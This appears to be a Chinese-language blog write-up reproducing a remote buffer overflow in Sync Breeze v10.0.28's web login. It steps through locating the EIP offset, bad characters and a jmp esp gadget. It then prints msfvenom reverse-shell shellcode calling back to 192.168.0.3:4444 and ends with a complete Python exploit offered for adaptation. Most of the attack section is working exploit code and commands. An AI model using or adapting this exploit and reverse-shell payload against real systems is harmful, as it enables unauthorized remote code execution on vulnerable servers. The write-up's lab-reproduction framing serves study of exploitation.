snyc缓冲区溢出漏洞复现

最后更新于 2025-12-01 211 次阅读


前言

sync版本:v10.0.28

win10系统 x86

开启web

初始poc:

#!/usr/bin/python
import socket
import sys
try:
    server = sys.argv[1]
    port =80
    size =800
    inputBuffer = b"A" * size
    content =b"username="+ inputBuffer + b"&password=A"
    buffer = b"POST /login HTTP/1.1\r\n"
    buffer += b"Host: "+ server.encode() + b"\r\n"
    buffer += b"User-Agent: Mozilla/5.0(X11; Linux 86 64;rv:52.0)Gecko/20100101 Fire52.0\r\n"
    buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += b"Accept-Language:en-Us,en;q=0.5\r\n"
    buffer += b"Referer: http://172.16.1.129/login\r\n"
    buffer += b"Connection: close\r\n"
    buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += b"Content-Length: "+ str(len(content)).encode()+ b"\r\n"
    buffer += b"\r\n"
    buffer += content
    
    print("Sending evil buffer ...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(buffer)
    s.close()
    print("Done!")
    
except socket.error:
    print("Could not connect!")

漏洞复现

DOSS攻击脚本到缓冲区溢出getshell

攻击前 80端口服务开启,攻击后关闭

使用windbg分析程序,注意是syncbrs.exe

运行

发送payload

查看windbg

服务直接卡死,eip=41414141

查看具体多少个会覆盖

msf-pattern_create -l 1000

修改poc

停掉服务重新启动

此时再去执行poc,发现eip=4230614

查询

┌──(kali㉿kali)-[~/桌面]
└─$ msf-pattern_offset -q 42306142
[*] Exact match at offset 780

也就是说只需要780个字符,再加上4字节就可以覆盖到eip

重新加载程序,执行脚本 eip=42424242 符合预期

接下来思路,让eip指向shellcode或者在后面写shellcode

计算eip和esp偏移量

dds esp-10 L5 #dds 双字节显示5行 第一行 为esp-10 到最后一行刚好10字节,最后一行为esp

可以看出,01d27444地址再加4个字节便可到esp 01d2744c

修改poc 添加offset

重新运行服务和脚本 查看寄存器

重新启动程序,运行脚本进行坏字符检测,防止shellcode出现错误

坏字符 \x00 \x0a

在脚本去掉坏字符,重新测试,对比 \x0d也是坏字符,

多次测试,坏字符为\x0a \x0d \x00 \x25 \x26 \x3d \x2b

生成shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f c -b '\x0a \x0d \x00 \x25 \x26 \x3d \x2b'
"\xd9\xc6\xd9\x74\x24\xf4\x5f\xba\x07\x62\x67\xf1\x31\xc9"
"\xb1\x52\x31\x57\x17\x83\xef\xfc\x03\x50\x71\x85\x04\xa2"
"\x9d\xcb\xe7\x5a\x5e\xac\x6e\xbf\x6f\xec\x15\xb4\xc0\xdc"
"\x5e\x98\xec\x97\x33\x08\x66\xd5\x9b\x3f\xcf\x50\xfa\x0e"
"\xd0\xc9\x3e\x11\x52\x10\x13\xf1\x6b\xdb\x66\xf0\xac\x06"
"\x8a\xa0\x65\x4c\x39\x54\x01\x18\x82\xdf\x59\x8c\x82\x3c"
"\x29\xaf\xa3\x93\x21\xf6\x63\x12\xe5\x82\x2d\x0c\xea\xaf"
"\xe4\xa7\xd8\x44\xf7\x61\x11\xa4\x54\x4c\x9d\x57\xa4\x89"
"\x1a\x88\xd3\xe3\x58\x35\xe4\x30\x22\xe1\x61\xa2\x84\x62"
"\xd1\x0e\x34\xa6\x84\xc5\x3a\x03\xc2\x81\x5e\x92\x07\xba"
"\x5b\x1f\xa6\x6c\xea\x5b\x8d\xa8\xb6\x38\xac\xe9\x12\xee"
"\xd1\xe9\xfc\x4f\x74\x62\x10\x9b\x05\x29\x7d\x68\x24\xd1"
"\x7d\xe6\x3f\xa2\x4f\xa9\xeb\x2c\xfc\x22\x32\xab\x03\x19"
"\x82\x23\xfa\xa2\xf3\x6a\x39\xf6\xa3\x04\xe8\x77\x28\xd4"
"\x15\xa2\xff\x84\xb9\x1d\x40\x74\x7a\xce\x28\x9e\x75\x31"
"\x48\xa1\x5f\x5a\xe3\x58\x08\xa5\x5c\x62\xcb\x4d\x9f\x62"
"\xda\xd1\x16\x84\xb6\xf9\x7e\x1f\x2f\x63\xdb\xeb\xce\x6c"
"\xf1\x96\xd1\xe7\xf6\x67\x9f\x0f\x72\x7b\x48\xe0\xc9\x21"
"\xdf\xff\xe7\x4d\x83\x92\x63\x8d\xca\x8e\x3b\xda\x9b\x61"
"\x32\x8e\x31\xdb\xec\xac\xcb\xbd\xd7\x74\x10\x7e\xd9\x75"
"\xd5\x3a\xfd\x65\x23\xc2\xb9\xd1\xfb\x95\x17\x8f\xbd\x4f"
"\xd6\x79\x14\x23\xb0\xed\xe1\x0f\x03\x6b\xee\x45\xf5\x93"
"\x5f\x30\x40\xac\x50\xd4\x44\xd5\x8c\x44\xaa\x0c\x15\x74"
"\xe1\x0c\x3c\x1d\xac\xc5\x7c\x40\x4f\x30\x42\x7d\xcc\xb0"
"\x3b\x7a\xcc\xb1\x3e\xc6\x4a\x2a\x33\x57\x3f\x4c\xe0\x58"
"\x6a"

修改eip #eip jmp esp 在dll中寻找

选择自带的dll且内存地址完整的(eip不需要补0x00)libpal.dll 或者条件跳转

查找包含jmp esp 的 addr

修改payload 反弹192.168.0.3 4444端口

192.168.0.3监听4444端口 运行脚本进行测试 与预期不符 原因 shellcode错位 无法精确地跳转到shellcode的开始。因此,在shellcode前面放置一系列NOP指令(形成一个NOP滑板),只要跳转到这个NOP滑板中的任意位置,CPU就会依次执行NOP指令,直到执行到我们的shellcode

添加nops

重新启动程序,发送脚本,nops 改为 * 20

重新测试 这次显示的很正确,为什么还是没有反弹shell?

又踩坑了

地址变换了 重新找eip

修改后

重新运行,getshell

完整poc ,根据个人情况进行更改

#!/usr/bin/python
import socket
import sys
try:
    server = sys.argv[1]
    port =80
    size =780 #overflow need bytes size
    eip = b"\x83\x0c\x09\x10" #10090c83 jmp esp
    offset = b"B" *4
    #\x00 \x0a \x0d \x25 \x26 \x3d \x2b 
    #badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x27\x28\x29\x2a\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
    shellcode = ( b"\xd9\xc6\xd9\x74\x24\xf4\x5f\xba\x07\x62\x67\xf1\x31\xc9"
                    b"\xb1\x52\x31\x57\x17\x83\xef\xfc\x03\x50\x71\x85\x04\xa2"
                    b"\x9d\xcb\xe7\x5a\x5e\xac\x6e\xbf\x6f\xec\x15\xb4\xc0\xdc"
                    b"\x5e\x98\xec\x97\x33\x08\x66\xd5\x9b\x3f\xcf\x50\xfa\x0e"
                    b"\xd0\xc9\x3e\x11\x52\x10\x13\xf1\x6b\xdb\x66\xf0\xac\x06"
                    b"\x8a\xa0\x65\x4c\x39\x54\x01\x18\x82\xdf\x59\x8c\x82\x3c"
                    b"\x29\xaf\xa3\x93\x21\xf6\x63\x12\xe5\x82\x2d\x0c\xea\xaf"
                    b"\xe4\xa7\xd8\x44\xf7\x61\x11\xa4\x54\x4c\x9d\x57\xa4\x89"
                    b"\x1a\x88\xd3\xe3\x58\x35\xe4\x30\x22\xe1\x61\xa2\x84\x62"
                    b"\xd1\x0e\x34\xa6\x84\xc5\x3a\x03\xc2\x81\x5e\x92\x07\xba"
                    b"\x5b\x1f\xa6\x6c\xea\x5b\x8d\xa8\xb6\x38\xac\xe9\x12\xee"
                    b"\xd1\xe9\xfc\x4f\x74\x62\x10\x9b\x05\x29\x7d\x68\x24\xd1"
                    b"\x7d\xe6\x3f\xa2\x4f\xa9\xeb\x2c\xfc\x22\x32\xab\x03\x19"
                    b"\x82\x23\xfa\xa2\xf3\x6a\x39\xf6\xa3\x04\xe8\x77\x28\xd4"
                    b"\x15\xa2\xff\x84\xb9\x1d\x40\x74\x7a\xce\x28\x9e\x75\x31"
                    b"\x48\xa1\x5f\x5a\xe3\x58\x08\xa5\x5c\x62\xcb\x4d\x9f\x62"
                    b"\xda\xd1\x16\x84\xb6\xf9\x7e\x1f\x2f\x63\xdb\xeb\xce\x6c"
                    b"\xf1\x96\xd1\xe7\xf6\x67\x9f\x0f\x72\x7b\x48\xe0\xc9\x21"
                    b"\xdf\xff\xe7\x4d\x83\x92\x63\x8d\xca\x8e\x3b\xda\x9b\x61"
                    b"\x32\x8e\x31\xdb\xec\xac\xcb\xbd\xd7\x74\x10\x7e\xd9\x75"
                    b"\xd5\x3a\xfd\x65\x23\xc2\xb9\xd1\xfb\x95\x17\x8f\xbd\x4f"
                    b"\xd6\x79\x14\x23\xb0\xed\xe1\x0f\x03\x6b\xee\x45\xf5\x93"
                    b"\x5f\x30\x40\xac\x50\xd4\x44\xd5\x8c\x44\xaa\x0c\x15\x74"
                    b"\xe1\x0c\x3c\x1d\xac\xc5\x7c\x40\x4f\x30\x42\x7d\xcc\xb0"
                    b"\x3b\x7a\xcc\xb1\x3e\xc6\x4a\x2a\x33\x57\x3f\x4c\xe0\x58"
                    b"\x6a")
    
    nops = b'\x90' * 20               
    inputBuffer = b"A" * size + eip + offset + nops + shellcode
    content =b"username="+ inputBuffer + b"&password=A"
    buffer = b"POST /login HTTP/1.1\r\n"
    buffer += b"Host: "+ server.encode() + b"\r\n"
    buffer += b"User-Agent: Mozilla/5.0(X11; Linux 86 64;rv:52.0)Gecko/20100101 Fire52.0\r\n"
    buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
    buffer += b"Accept-Language:en-Us,en;q=0.5\r\n"
    buffer += b"Referer: http://172.16.1.129/login\r\n"
    buffer += b"Connection: close\r\n"
    buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += b"Content-Length: "+ str(len(content)).encode()+ b"\r\n"
    buffer += b"\r\n"
    buffer += content
    
    print("Sending evil buffer ...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((server, port))
    s.send(buffer)
    s.close()
    print("Done!")
    
except socket.error:
    print("Could not connect!")